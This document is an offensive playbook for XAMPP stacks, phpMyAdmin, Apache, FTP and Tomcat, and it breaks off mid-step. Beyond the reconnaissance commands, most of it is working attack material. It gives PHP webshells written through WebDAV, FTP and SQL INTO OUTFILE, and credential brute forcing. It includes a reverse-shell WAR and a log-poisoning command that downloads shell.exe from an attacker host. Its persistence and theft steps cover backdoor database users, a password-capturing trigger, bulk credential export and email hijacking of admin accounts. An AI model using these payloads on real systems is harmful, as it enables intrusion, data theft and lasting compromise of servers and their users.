

XAMPP & PHPMyAdmin

Web Security Research Playbook

Comprehensive Security Testing Guide for XAMPP Services

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This document contains web security research techniques for AUTHORIZED SECURITY ASSESSMENTS ONLY. Unauthorized access to computer systems violates: 18 U.S.C. § 1030 (CFAA), GDPR Article 82, Computer Misuse Act 1990. You must have explicit written authorization before testing.

■ For more web security research, visit:

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Security research focused on web application testing and vulnerability analysis.

Testing Methodology: This playbook follows a structured approach: **1)** Reconnaissance & Information Gathering → **2)** Initial Access Attempts → **3)** Post-Authentication Exploitation. Each scenario includes realistic commands and expected outcomes for professional security assessments.

PHASE 1: RECONNAISSANCE & VULNERABILITY IDENTIFICATION

■ Target: XAMPP Service Discovery

■ XAMPP Dashboard Exposure Detection

Objective: Identify accessible XAMPP dashboard and extract version information

Testing Steps:

- [1] Navigate to common XAMPP dashboard paths
- [2] Check HTTP response for XAMPP branding and version
- [3] Enumerate available documentation and links
- [4] Document exact XAMPP version and installation type

Commands:

```
curl -s http://target/dashboard/ | grep -i xampp
curl -s http://target/xampp/ | grep -i version
whatweb http://target/dashboard/
nikto -h http://target/dashboard/
```

Tools: curl, whatweb, nikto, browser

Expected Outcome: XAMPP version identified, available services enumerated

■ Service Port Mapping

Objective: Map all running XAMPP services and their versions

Testing Steps:

- [1] Perform full TCP port scan on target
- [2] Identify service banners on discovered ports
- [3] Version detection for Apache, MySQL, FTP, Tomcat, SMTP
- [4] Document service fingerprints for vulnerability research

Commands:

```
nmap -sv -p- target
nmap -p 21,25,80,443,3306,8080,8009 -sV -sC target
nc -v target 21
nc -v target 3306
```

Tools: nmap, netcat, masscan

Expected Outcome: Complete service inventory: Apache 2.4.x, MySQL 8.0.x, FileZilla, Mercury, Tomcat

■ phpinfo() Exposure Scanning

Objective: Locate and analyze phpinfo() pages for configuration disclosure

Testing Steps:

- [1] Brute force common phpinfo file locations
- [2] Access phpinfo page and extract configuration
- [3] Document document_root, loaded extensions, PHP version
- [4] Identify security-relevant settings (disable_functions, open_basedir)
- [5] Note file upload paths and temporary directories

Commands:

```
curl http://target/dashboard/phpinfo.php
curl http://target/phpinfo.php | grep -i "document_root\|upload_tmp_dir"
ffuf -u http://target/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200
wget http://target/dashboard/phpinfo.php -O phpinfo.html
```

Tools: curl, ffuf, browser

Expected Outcome: PHP configuration exposed, document root: C:/xampp/htdocs/, file_uploads: On

■ XAMPP Backup File Discovery

Objective: Find backup files containing credentials or sensitive configuration

Testing Steps:

- [1] Enumerate common backup file extensions
- [2] Search for .bak, .old, .backup, .sql files
- [3] Check for editor temporary files (~, .swp)
- [4] Download discovered backup files
- [5] Parse files for hardcoded credentials

Commands:

```
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x bak,old,backup,sql
curl http://target/config.php.bak
curl http://target/wp-config.php.old
wget -r http://target/ -A *.bak,*.old
```

Tools: gobuster, wget, curl

Expected Outcome: Found config.php.bak with MySQL credentials: root/(blank)

■ XAMPP Log File Exposure

Objective: Identify accessible log files containing sensitive information

Testing Steps:

- [1] Check for exposed Apache access/error logs
- [2] Test MySQL log file accessibility
- [3] Look for PHP error logs
- [4] Download and analyze log contents for credentials
- [5] Identify log file paths for future log poisoning

Commands:

```
curl http://target/apache/logs/access.log
curl http://target/apache/logs/error.log
curl http://target/xampp/apache/logs/access.log
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Logins.fuzz.txt
```

Tools: curl, ffuf, browser

Expected Outcome: Apache logs accessible, log path identified for poisoning attacks

■ Git Repository Exposure Detection

Objective: Detect exposed .git directories and extract repository contents

Testing Steps:

- [1] Check for .git directory accessibility
- [2] Attempt to download .git/config file
- [3] Use git-dumper to clone entire repository
- [4] Extract commit history and search for credentials
- [5] Review source code for hardcoded secrets

Commands:

```
curl http://target/.git/config
curl http://target/.git/HEAD
git-dumper http://target/.git/ /tmp/extracted_repo
cd /tmp/extracted_repo && git log --all
grep -r "password\|api_key\|secret" /tmp/extracted_repo
```

Tools: curl, git-dumper, git, grep

Expected Outcome: Git repository cloned, database credentials found in old commits

■ Target: PHPMyAdmin Discovery

■ PHPMyAdmin Location Enumeration

Objective: Brute force PHPMyAdmin installation path

Testing Steps:

- [1] Test common PHPMyAdmin directory names
- [2] Use wordlist-based directory brute forcing
- [3] Check for subdomain installations
- [4] Verify PHPMyAdmin installation by accessing login page

Commands:

```
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/PHPMyAdmin.fuzz.txt
ffuf -u http://target/FUZZ -w pma_paths.txt -mc 200,301,302
curl -I http://target/phpmyadmin/
curl -I http://target/pma/
curl -I http://target/admin/
curl -I http://target/db/
```

Tools: gobuster, ffuf, curl

Expected Outcome: PHPMyAdmin found at http://target/phpmyadmin/

■ PHPMyAdmin Version Detection

Objective: Extract exact PHPMyAdmin version for vulnerability research

Testing Steps:

- [1] View HTML source code for version strings
- [2] Check JavaScript files for version information
- [3] Analyze CSS file paths for version numbers
- [4] Extract version from meta tags and comments
- [5] Match version to CVE database

Commands:

```
curl -s http://target/phpmyadmin/ | grep -i "pma_version\|phpMyAdmin"  
curl -s http://target/phpmyadmin/index.php | grep -oP "PMA_VERSION.*?[0-9.]+"  
curl http://target/phpmyadmin/js/get_scripts.js.php | grep version  
whatweb -v http://target/phpmyadmin/  
searchsploit phpmyadmin 5.2
```

Tools: curl, grep, whatweb, searchsploit

Expected Outcome: PHPMyAdmin version 5.2.0 identified, CVE-2022-23808 applicable

■ PHPMyAdmin Setup Script Detection

Objective: Identify exposed setup directory for potential exploitation

Testing Steps:

- [1] Test for /setup/ directory accessibility
- [2] Check if setup script is writable
- [3] Enumerate setup script features
- [4] Verify if setup allows config file creation
- [5] Document writable directories

Commands:

```
curl http://target/phpmyadmin/setup/  
curl -I http://target/phpmyadmin/setup/index.php  
curl -X POST http://target/phpmyadmin/setup/index.php -d "action=test"  
curl http://target/phpmyadmin/config/
```

Tools: curl, browser

Expected Outcome: Setup directory exposed and writable, config file creation possible

■ PHPMyAdmin Configuration File Exposure

Objective: Attempt to download PHPMyAdmin configuration containing credentials

Testing Steps:

- [1] Test for config.inc.php accessibility

- [2] Check for backup config files
- [3] Try common misconfigurations (config.php, config.inc.php.bak)
- [4] Download and parse configuration if accessible
- [5] Extract database credentials

Commands:

```
curl http://target/phpmyadmin/config.inc.php
curl http://target/phpmyadmin/config.inc.php.bak
curl http://target/phpmyadmin/config.php
curl http://target/phpmyadmin/libraries/config.default.php
wget http://target/phpmyadmin/config.inc.php
```

Tools: curl, wget, browser

Expected Outcome: config.inc.php.bak downloaded, MySQL credentials extracted

■ PHPMyAdmin CVE Research

Objective: Match discovered version to known vulnerabilities

Testing Steps:

- [1] Query CVE databases for PHPMyAdmin version
- [2] Check ExploitDB for available exploits
- [3] Review GitHub for proof-of-concept code
- [4] Analyze PHPMyAdmin security advisories
- [5] Document exploitable vulnerabilities

Commands:

```
searchsploit phpmyadmin
searchsploit phpmyadmin 5.2.0
curl "https://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1307/"
msfconsole -q -x "search phpmyadmin"
```

Tools: searchsploit, msfconsole, CVE databases

Expected Outcome: CVE-2022-23808 (XSS) and CVE-2023-25727 (SQLi) identified

■ PHPMyAdmin Authentication Method Detection

Objective: Identify authentication mechanism for targeted attacks

Testing Steps:

- [1] Analyze login page HTTP requests
- [2] Determine if config, cookie, or http auth is used
- [3] Check for CAPTCHA or rate limiting
- [4] Test authentication without credentials
- [5] Document authentication workflow

Commands:

```
curl -v http://target/phpmyadmin/index.php
curl -d "pma_username=test&pma_password=test" http://target/phpmyadmin/index.php
curl -H "Authorization: Basic dGVzdDp0ZXN0" http://target/phpmyadmin/
```

Tools: curl, Burp Suite, browser DevTools

Expected Outcome: Cookie-based authentication, no CAPTCHA, no rate limiting detected

■ Target: Apache Web Server Analysis

■ Apache Version Detection

Objective: Extract Apache version for vulnerability mapping

Testing Steps:

- [1] Capture Server header from HTTP responses
- [2] Analyze error pages for version disclosure
- [3] Check for server signature in default pages
- [4] Match version to known CVEs

Commands:

```
curl -I http://target/ | grep Server
curl http://target/non-existent-page | grep Apache
nmap -p 80 --script http-server-header target
whatweb -v http://target/
```

Tools: curl, nmap, whatweb

Expected Outcome: Apache/2.4.56 (Win64) identified

■ WebDAV Availability Check

Objective: Determine if WebDAV is enabled and test HTTP methods

Testing Steps:

- [1] Send OPTIONS request to check allowed methods
- [2] Test for PUT, MOVE, COPY, DELETE methods
- [3] Identify WebDAV-enabled directories
- [4] Check for authentication requirements
- [5] Test for unrestricted file upload

Commands:

```
curl -X OPTIONS http://target/ -v
curl -X OPTIONS http://target/webdav/ -v
davtest -url http://target/webdav/
nmap -p 80 --script http-webdav-scan target
cadaver http://target/webdav/
```

Tools: curl, davtest, nmap, cadaver

Expected Outcome: WebDAV enabled on /webdav/, PUT method allowed without authentication

■ Directory Listing Detection

Objective: Find directories with directory indexing enabled

Testing Steps:

- [1] Browse common directories for index listings
- [2] Check for "Index of" in HTTP responses
- [3] Enumerate files in listed directories
- [4] Download sensitive exposed files
- [5] Document all accessible files

Commands:

```
curl http://target/ | grep -i "index of"  
curl http://target/uploads/ | grep -i "index of"  
curl http://target/backups/  
wget -r -np http://target/uploads/
```

Tools: curl, wget, browser

Expected Outcome: Directory listing enabled on /uploads/, /backups/, sensitive files exposed

■ Apache Server-Status Exposure

Objective: Access server-status page for information disclosure

Testing Steps:

- [1] Check for /server-status path
- [2] Access extended server status if available
- [3] Extract active connections and requests
- [4] Document internal IP addresses and paths
- [5] Identify potential sensitive URL parameters

Commands:

```
curl http://target/server-status  
curl http://target/server-status?refresh=5  
curl http://target/server-info
```

Tools: curl, browser

Expected Outcome: Server-status exposed, internal IPs and active requests visible

■ Target: FTP Analysis

■ FTP Banner Grabbing

Objective: Extract FileZilla version from FTP banner

Testing Steps:

- [1] Connect to FTP service on port 21
- [2] Capture banner information
- [3] Identify FileZilla Server version
- [4] Research known vulnerabilities for version

Commands:

```
nc -v target 21
ftp target
nmap -p 21 --script ftp-bounce,ftp-anon target
```

Tools: netcat, ftp client, nmap**Expected Outcome:** FileZilla Server 1.7.3 identified

■ FTP Anonymous Login Testing

Objective: Test for anonymous FTP access**Testing Steps:**

- [1] Attempt login with anonymous username
- [2] Try various password formats
- [3] List accessible directories if successful
- [4] Check for write permissions
- [5] Document accessible paths

Commands:

```
ftp target
user: anonymous
pass: anonymous@example.com
ls
cd htdocs
nmap --script ftp-anon target -p 21
```

Tools: ftp client, nmap**Expected Outcome:** Anonymous access enabled with read/write to htdocs directory

■ Target: Tomcat Analysis

■ Tomcat Version Detection

Objective: Extract Tomcat version from error pages and headers**Testing Steps:**

- [1] Access Tomcat on port 8080
- [2] Generate error page to expose version
- [3] Check Server header in responses
- [4] Document exact Tomcat version

Commands:

```
curl -I http://target:8080/
curl http://target:8080/non-existent
nmap -p 8080 --script http-server-header target
```

Tools: curl, nmap, browser**Expected Outcome:** Apache Tomcat/9.0.65 identified

■ Tomcat Manager Interface Discovery

Objective: Locate Tomcat manager and text interfaces

Testing Steps:

- [1] Test common manager paths
- [2] Check for /manager/html availability
- [3] Test /manager/text interface
- [4] Identify authentication requirements

Commands:

```
curl -I http://target:8080/manager/html
curl -I http://target:8080/manager/text
curl -I http://target:8080/host-manager/
```

Tools: curl, browser

Expected Outcome: Manager interface found, HTTP Basic authentication required

PHASE 2: INITIAL ACCESS EXPLOITATION

■ Target: PHPMyAdmin Authentication

■ Default Credential Attack

Objective: Attempt login with common XAMPP default credentials

Testing Steps:

- [1] Try root with blank password (XAMPP default)
- [2] Test root/root combination
- [3] Attempt admin/admin
- [4] Test pma/pma username
- [5] Document successful authentication

Commands:

```
curl -d "pma_username=root&pma_password=" http://target/phpmyadmin/index.php -c cookies.txt
curl -d "pma_username=root&pma_password=root" http://target/phpmyadmin/index.php
curl -d "pma_username=admin&pma_password=admin" http://target/phpmyadmin/index.php
mysql -h target -u root -p
```

Tools: curl, mysql client, browser

Expected Outcome: Successful login with root/(blank password)

■ Credential Brute Force Attack

Objective: Automated brute force attack on PHPMyAdmin login

Testing Steps:

- [1] Identify login form parameters
- [2] Prepare username and password wordlists
- [3] Configure hydra/burp for brute force
- [4] Execute attack with rate limiting
- [5] Document successful credentials

Commands:

```
hydra -l root -P /usr/share/wordlists/rockyou.txt target http-post-form
"/phpmyadmin/index.php:pma_username^USER^&pma_password^PASS^:F=denied" -t 4
hydra -L users.txt -P passwords.txt target http-post-form
"/phpmyadmin/index.php:pma_username^USER^&pma_password^PASS^:S=server"
medusa -h target -U users.txt -P passwords.txt -M web-form -m FORM:"/phpmyadmin/index.php" -t 4
```

Tools: hydra, medusa, burp suite intruder

Expected Outcome: Valid credentials discovered: admin/password123

■ PHPMyAdmin Setup Script Exploitation

Objective: Exploit writable setup directory to create backdoored config

Testing Steps:

- [1] Access /phpmyadmin/setup/ directory
- [2] Create new server configuration
- [3] Inject malicious PHP code into config file
- [4] Save configuration to web-accessible location
- [5] Access backdoored config file to execute code

Commands:

```
curl http://target/phpmyadmin/setup/  
curl -X POST -d "action=save&Servers:[1][host]=localhost&Servers:[1][auth_type]=config"  
http://target/phpmyadmin/setup/index.php  
curl http://target/phpmyadmin/config.inc.php
```

Tools: curl, browser

Expected Outcome: Malicious config created, code execution achieved

■ Config File Credential Extraction

Objective: Download exposed configuration file containing database credentials

Testing Steps:

- [1] Attempt to access config.inc.php
- [2] Try backup config files (.bak, .old, ~)
- [3] Download accessible configuration
- [4] Parse file for MySQL credentials
- [5] Test extracted credentials

Commands:

```
wget http://target/phpmyadmin/config.inc.php  
wget http://target/phpmyadmin/config.inc.php.bak  
curl http://target/phpmyadmin/config.inc.php.old  
grep -i "password|user" config.inc.php.bak  
mysql -h target -u extracted_user -pextracted_password
```

Tools: wget, curl, grep, mysql client

Expected Outcome: Config backup found, credentials extracted: root/(blank)

■ PHPMyAdmin CVE Exploitation

Objective: Exploit known CVE vulnerabilities in identified version

Testing Steps:

- [1] Research CVEs for detected PHPMyAdmin version
- [2] Download exploit code from ExploitDB or GitHub
- [3] Modify exploit for target environment
- [4] Execute exploit to gain unauthorized access
- [5] Verify successful exploitation

Commands:

```
searchsploit -m php/webapps/50457.py
python3 50457.py --url http://target/phpmyadmin/ --lhost attacker_ip
msfconsole -x "use exploit/multi/http/phpmyadmin_exec; set RHOSTS target; exploit"
```

Tools: searchsploit, python, metasploit**Expected Outcome:** CVE-2022-23808 exploited, arbitrary code execution achieved

■ Target: WebDAV Exploitation

■ WebDAV PUT Method File Upload

Objective: Upload PHP webshell via WebDAV PUT method**Testing Steps:**

- [1] Verify PUT method is allowed
- [2] Craft PHP webshell payload
- [3] Upload webshell using PUT request
- [4] Access uploaded file via HTTP
- [5] Execute commands through webshell

Commands:

```
curl -X PUT -d "<?php system($_GET['cmd']); ?>" http://target/webdav/shell.php
curl -X PUT --upload-file shell.php http://target/webdav/shell.php
curl "http://target/webdav/shell.php?cmd=whoami"
curl "http://target/webdav/shell.php?cmd=dir"
```

Tools: curl, text editor**Expected Outcome:** PHP webshell uploaded and accessible, command execution achieved

■ WebDAV MOVE Method Exploitation

Objective: Move uploaded file to executable directory using MOVE method**Testing Steps:**

- [1] Upload file to WebDAV directory
- [2] Use MOVE method to relocate to htdocs
- [3] Access moved file in new location
- [4] Execute malicious content

Commands:

```
curl -X PUT --upload-file payload.txt http://target/webdav/payload.txt
curl -X MOVE -H "Destination: http://target/htdocs/shell.php" http://target/webdav/payload.txt
curl http://target/shell.php?cmd=whoami
```

Tools: curl, cadaver**Expected Outcome:** File moved to executable location, code execution successful

■ WebDAV .htaccess Upload

Objective: Upload malicious .htaccess to enable PHP execution in upload directories

Testing Steps:

- [1] Create .htaccess file enabling PHP in image directories
- [2] Upload .htaccess via WebDAV
- [3] Upload PHP file with image extension
- [4] Access PHP file to execute code

Commands:

```
echo "AddType application/x-httpd-php .jpg" > .htaccess
curl -X PUT --upload-file .htaccess http://target/webdav/uploads/.htaccess
curl -X PUT --upload-file shell.jpg http://target/webdav/uploads/shell.jpg
curl http://target/uploads/shell.jpg?cmd=whoami
```

Tools: curl, text editor

Expected Outcome: .htaccess uploaded, PHP execution enabled in uploads directory

■ Target: FTP Exploitation

■ FTP Anonymous Upload to htdocs

Objective: Upload webshell via anonymous FTP access

Testing Steps:

- [1] Connect to FTP with anonymous credentials
- [2] Navigate to htdocs or web-accessible directory
- [3] Upload PHP webshell file
- [4] Verify upload success
- [5] Access webshell via HTTP

Commands:

```
ftp target
user: anonymous
pass: anonymous@example.com
cd htdocs
put shell.php
ls
bye
curl http://target/shell.php?cmd=whoami
```

Tools: ftp client, FileZilla, curl

Expected Outcome: Webshell uploaded via anonymous FTP, command execution successful

■ FTP Credential Brute Force

Objective: Brute force FTP credentials to gain write access

Testing Steps:

- [1] Enumerate valid FTP usernames if possible

- [2] Prepare password wordlist
- [3] Execute automated brute force attack
- [4] Test successful credentials
- [5] Upload malicious files

Commands:

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://target -t 4
medusa -h target -U users.txt -P passwords.txt -M ftp
ncrack -U users.txt -P passwords.txt ftp://target
```

Tools: hydra, medusa, ncrack

Expected Outcome: FTP credentials discovered: admin/password, write access gained

■ Target: Tomcat Exploitation

■ Tomcat Manager Default Credentials

Objective: Access Tomcat Manager with default credentials

Testing Steps:

- [1] Navigate to Tomcat Manager interface
- [2] Test default credential combinations
- [3] Gain authenticated access to manager
- [4] Prepare for WAR file deployment

Commands:

```
curl -u tomcat:tomcat http://target:8080/manager/html
curl -u admin:admin http://target:8080/manager/html
curl -u tomcat:s3cret http://target:8080/manager/html
```

Tools: curl, browser

Expected Outcome: Tomcat Manager accessed with tomcat/s3cret

■ Tomcat WAR File Deployment

Objective: Deploy malicious WAR file for code execution

Testing Steps:

- [1] Create JSP webshell
- [2] Package webshell into WAR archive
- [3] Deploy WAR via Tomcat Manager
- [4] Access deployed application
- [5] Execute commands via JSP shell

Commands:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker LPORT=4444 -f war > shell.war
curl -u tomcat:s3cret --upload-file shell.war "http://target:8080/manager/text/deploy?path=/shell"
curl http://target:8080/shell/
nc -lvpn 4444
```

Tools: msfvenom, curl, netcat

Expected Outcome: JSP webshell deployed, reverse shell connection established

■ Target: Web Application Attacks

■ Local File Inclusion (LFI)

Objective: Read sensitive files via LFI vulnerability

Testing Steps:

- [1] Identify parameter vulnerable to file inclusion
- [2] Test for directory traversal
- [3] Read sensitive configuration files
- [4] Extract database credentials
- [5] Attempt LFI to RCE via log poisoning

Commands:

```
curl "http://target/index.php?page=../../../../etc/passwd"  
curl "http://target/index.php?page=../../../../xampp/mysql/bin/my.ini"  
curl "http://target/index.php?page=../../../../xampp/htdocs/config.php"  
curl "http://target/index.php?page=php://filter/convert.base64-encode/resource=config.php"
```

Tools: curl, browser

Expected Outcome: LFI confirmed, config.php read, MySQL credentials extracted

■ LFI to RCE via Log Poisoning

Objective: Achieve remote code execution by poisoning Apache logs

Testing Steps:

- [1] Identify LFI vulnerability and log file path
- [2] Inject PHP code into User-Agent header
- [3] Include poisoned log file via LFI
- [4] Execute injected PHP code
- [5] Establish webshell or reverse shell

Commands:

```
curl -A "<?php system($_GET['cmd']); ?>" http://target/  
curl "http://target/index.php?page=../../../../xampp/apache/logs/access.log&cmd=whoami"  
curl "http://target/index.php?page=../../../../xampp/apache/logs/access.log&cmd=powershell wget http://attacker/shell.exe"
```

Tools: curl, netcat, msfvenom

Expected Outcome: Log poisoning successful, RCE achieved, reverse shell established

■ File Upload Vulnerability

Objective: Upload PHP webshell via unrestricted file upload

Testing Steps:

- [1] Identify file upload functionality
- [2] Test for extension filtering bypass
- [3] Upload PHP file with allowed extension
- [4] Access uploaded file
- [5] Execute commands

Commands:

```
curl -F "file=@shell.php" http://target/upload.php
curl -F "file=@shell.jpg" http://target/upload.php
curl -F "file=@shell.phtml" http://target/upload.php
curl http://target/uploads/shell.php?cmd=whoami
```

Tools: curl, Burp Suite

Expected Outcome: PHP file uploaded successfully, command execution achieved

PHASE 3: POST-AUTHENTICATION EXPLOITATION (PHPMyAdmin)

■ Target: PHPMyAdmin GUI-Based File Operations

■ SQL Tab INTO OUTFILE Webshell Creation

Objective: Write PHP webshell to htdocs using SQL interface

Testing Steps:

- [1] Login to PHPMyAdmin with valid credentials
- [2] Navigate to SQL tab
- [3] Identify web root path from phpinfo
- [4] Execute SELECT INTO OUTFILE query to write PHP file
- [5] Verify file creation and access via HTTP

Commands:

```
-- In PHPMyAdmin SQL tab:  
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/shell.php";  
SELECT "<?php eval($_POST['x']); ?>" INTO OUTFILE "/opt/lampp/htdocs/backdoor.php";  
  
-- Access webshell:  
curl http://target/shell.php?cmd=whoami  
curl http://target/shell.php?cmd=dir  
curl -d "x=system('cat /etc/passwd');" http://target/backdoor.php
```

Tools: PHPMyAdmin web interface, curl

Expected Outcome: PHP webshell written to htdocs, command execution successful

■ SQL Tab INTO DUMPFILE Binary Upload

Objective: Upload binary executables using INTO DUMPFILE

Testing Steps:

- [1] Generate binary payload (EXE/DLL)
- [2] Convert binary to hex string
- [3] Use INTO DUMPFILE to write binary data
- [4] Execute uploaded binary directly
- [5] Establish persistent access

Commands:

```
-- Generate hex payload:  
xxd -p malicious.exe | tr -d "\n" > hex_payload.txt  
  
-- In PHPMyAdmin SQL tab:  
SELECT 0x4d5a90000300000004000000ffff0000... INTO DUMPFILE "C:/xampp/htdocs/backdoor.exe";  
SELECT BINARY 0x4d5a90... INTO DUMPFILE "/tmp/payload.elf";  
  
-- Execute via webshell:  
curl "http://target/shell.php?cmd=C:/xampp/htdocs/backdoor.exe"
```

Tools: PHPMyAdmin, xxd, msfvenom

Expected Outcome: Binary executable uploaded and executed

■ Import Tab Malicious SQL Upload

Objective: Import SQL file containing malicious payloads

Testing Steps:

- [1] Create SQL file with INTO OUTFILE statements
- [2] Include webshell creation queries
- [3] Add backdoor user creation commands
- [4] Upload via Import tab in PHPMyAdmin
- [5] Execute imported statements

Commands:

```
-- Create malicious.sql file:  
echo "SELECT \"<?php system($_GET['c']); ?>\" INTO OUTFILE \"C:/xampp/htdocs/import.php\";" > malicious.sql  
echo "CREATE USER 'backdoor'@ '%' IDENTIFIED BY 'Pass123!';" >> malicious.sql  
echo "GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';" >> malicious.sql  
  
-- Upload via PHPMyAdmin Import tab  
-- Access created shell:  
curl http://target/import.php?c=whoami
```

Tools: PHPMyAdmin Import feature, text editor

Expected Outcome: Malicious SQL imported, webshell created, backdoor user added

■ Import Tab ZIP Archive Upload

Objective: Upload compressed archive containing multiple payloads

Testing Steps:

- [1] Create multiple SQL files with different payloads
- [2] Compress into ZIP archive
- [3] Upload ZIP via Import tab
- [4] PHPMyAdmin auto-extracts and executes SQL files
- [5] Verify all payloads deployed successfully

Commands:

```
-- Create payload files:  
echo "SELECT \"<?php system($_GET['x']); ?>\" INTO OUTFILE \"C:/xampp/htdocs/s1.php\";" > payload1.sql  
echo "SELECT \"<?php eval($_POST['y']); ?>\" INTO OUTFILE \"C:/xampp/htdocs/s2.php\";" > payload2.sql  
  
-- Compress:  
zip payloads.zip payload1.sql payload2.sql  
  
-- Upload via PHPMyAdmin Import tab  
  
-- Test shells:  
curl http://target/s1.php?x=whoami  
curl -d "y=phpinfo();" http://target/s2.php
```

Tools: PHPMyAdmin, zip utility

Expected Outcome: Multiple webshells deployed via ZIP upload

■ Export Tab Code Injection

Objective: Inject PHP code during database export operation

Testing Steps:

- [1] Navigate to Export tab in PHPMyAdmin
- [2] Select Custom export method
- [3] Modify export template to include PHP code
- [4] Export to web-accessible location
- [5] Access exported file to execute code

Commands:

```
-- In PHPMyAdmin Export tab:  
-- Set output filename: C:/xampp/htdocs/export.php  
-- Add to export template header:  
<?php system($_GET["cmd"]); ?>  
  
-- Access:  
curl http://target/export.php?cmd=whoami
```

Tools: PHPMyAdmin Export feature

Expected Outcome: PHP code injected in export file, command execution achieved

■ User Management Privilege Escalation

Objective: Create new MySQL super user via PHPMyAdmin GUI

Testing Steps:

- [1] Navigate to User Accounts tab
- [2] Click "Add user account"
- [3] Create user with superuser privileges
- [4] Enable login from any host (%)
- [5] Grant ALL PRIVILEGES with GRANT OPTION

[6] Test new backdoor account

Commands:

```
-- Via PHPMyAdmin User Accounts tab:  
-- Username: support_admin  
-- Host: %  
-- Password: SecurePass2024!  
-- Global privileges: Check ALL  
-- GRANT option: Checked  
-- Test from external:  
mysql -h target -u support_admin -pSecurePass2024!  
mysql -h target -u support_admin -pSecurePass2024! -e "SHOW DATABASES;"
```

Tools: PHPMyAdmin User Accounts interface

Expected Outcome: Backdoor MySQL user created with full privileges

■ Global Privileges Modification

Objective: Grant FILE and SUPER privileges to compromised user

Testing Steps:

- [1] Access User Accounts tab
- [2] Edit existing low-privilege user
- [3] Grant FILE privilege for file operations
- [4] Grant SUPER privilege for administrative tasks
- [5] Save changes and test new capabilities

Commands:

```
-- Via PHPMyAdmin User Accounts interface:  
-- Edit user "webuser"  
-- Global privileges: Check FILE, SUPER, PROCESS  
-- Save  
  
-- Test FILE privilege:  
mysql -h target -u webuser -p  
SELECT LOAD_FILE("/etc/passwd");  
SELECT "test" INTO OUTFILE "/tmp/test.txt";
```

Tools: PHPMyAdmin User Accounts

Expected Outcome: User privileges escalated, file read/write enabled

■ Database Operations - Copy to Web Root

Objective: Copy entire database to web-accessible directory

Testing Steps:

- [1] Select target database
- [2] Navigate to Operations tab
- [3] Use "Copy database to" feature
- [4] Set destination to htdocs path

[5] Access database files via HTTP

Commands:

```
-- Via PHPMyAdmin Operations tab:  
-- Database: production_db  
-- Copy to: C:/xampp/htdocs/db_backup  
-- Options: Structure and data  
  
-- Download via HTTP:  
wget -r http://target/db_backup/  
curl http://target/db_backup/users.MYD
```

Tools: PHPMyAdmin Operations tab, wget

Expected Outcome: Complete database copied to web root, accessible via HTTP

■ BLOB Field Binary Injection

Objective: Insert executable files into BLOB columns

Testing Steps:

- [1] Create or select table with BLOB column
- [2] Navigate to Insert tab
- [3] Upload binary file (EXE, DLL, script)
- [4] Insert into BLOB field
- [5] Extract binary via SELECT and execute

Commands:

```
-- Via PHPMyAdmin Insert tab:  
-- Table: files  
-- Column: file_data (BLOB)  
-- Function: Upload  
-- Select malicious.exe  
  
-- Extract binary:  
SELECT file_data FROM files WHERE id=1 INTO DUMPFILE "C:/xampp/htdocs/extracted.exe";  
  
-- Execute via webshell:  
curl "http://target/shell.php?cmd=C:/xampp/htdocs/extracted.exe"
```

Tools: PHPMyAdmin Insert interface

Expected Outcome: Binary executable stored in database, extracted and executed

■ SQL Bookmark Persistent Backdoor

Objective: Save malicious queries as bookmarks for persistent access

Testing Steps:

- [1] Execute malicious SQL query in SQL tab
- [2] Click "Bookmark this SQL query"
- [3] Save with innocuous label
- [4] Query executes whenever bookmark is loaded

[5] Use for recurring webshell recreation

Commands:

```
-- In PHPMyAdmin SQL tab:  
  
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/bm.php";  
  
-- Bookmark as: "Database Maintenance Query"  
-- Load bookmark periodically to recreate shell  
  
-- Access shell:  
curl http://target/bm.php?cmd=whoami
```

Tools: PHPMyAdmin Bookmark feature

Expected Outcome: Persistent bookmark created, webshell can be recreated anytime

■ Designer Tab Visual Schema Manipulation

Objective: Use visual designer to modify database structure

Testing Steps:

- [1] Access Designer tab in PHPMyAdmin
- [2] Visually modify table relationships
- [3] Add triggers or stored procedures via GUI
- [4] Create new tables for data exfiltration
- [5] Export modified schema

Commands:

```
-- Via PHPMyAdmin Designer tab:  
  
-- Create new table: exfil_data  
  
-- Add columns: username, password, timestamp  
  
-- Create trigger on users table:  
  
CREATE TRIGGER log_passwords AFTER INSERT ON users  
FOR EACH ROW INSERT INTO exfil_data VALUES (NEW.username, NEW.password, NOW());
```

Tools: PHPMyAdmin Designer interface

Expected Outcome: Trigger created to log all new passwords

■ Tracking Tab Change Log Harvesting

Objective: Extract database modification history for sensitive data

Testing Steps:

- [1] Navigate to Tracking tab
- [2] Enable tracking on sensitive tables
- [3] Review historical changes
- [4] Extract deleted or modified data
- [5] Export tracking data for analysis

Commands:

```
-- Via PHPMyAdmin Tracking tab:  
-- Table: users  
-- Enable tracking  
-- View report  
  
-- Query tracking data:  
SELECT * FROM pma__tracking WHERE db_name="database" AND table_name="users";  
  
-- Export tracking log:  
SELECT * FROM pma__tracking INTO OUTFILE "C:/xampp/htdocs/track.csv";
```

Tools: PHPMyAdmin Tracking feature

Expected Outcome: Historical password changes recovered from tracking log

■ Search Tab Mass Data Extraction

Objective: Use search feature to find and export sensitive data

Testing Steps:

- [1] Navigate to Search tab in database
- [2] Search for keywords: password, credit, ssn, api_key
- [3] Search across all tables
- [4] Export matching results
- [5] Download sensitive data

Commands:

```
-- Via PHPMyAdmin Search tab:  
-- Database: all_databases  
-- Search term: "password"  
-- Search in: All tables, all columns  
-- Export results  
  
-- Results show all columns containing "password"  
-- Export as CSV for offline analysis
```

Tools: PHPMyAdmin Search feature

Expected Outcome: Found 45 tables with password columns, all credentials extracted

■ Search/Replace Bulk Data Modification

Objective: Use find/replace to modify data across database

Testing Steps:

- [1] Access Search and replace feature
- [2] Find all instances of legitimate email addresses
- [3] Replace with attacker-controlled email
- [4] Execute bulk modification
- [5] Hijack password reset emails

Commands:

```
-- Via PHPMyAdmin Find and Replace:  
-- Database: wordpress  
-- Table: wp_users  
-- Find: admin@company.com  
-- Replace with: attacker@evil.com  
-- Columns: user_email  
-- Result: All admin emails changed  
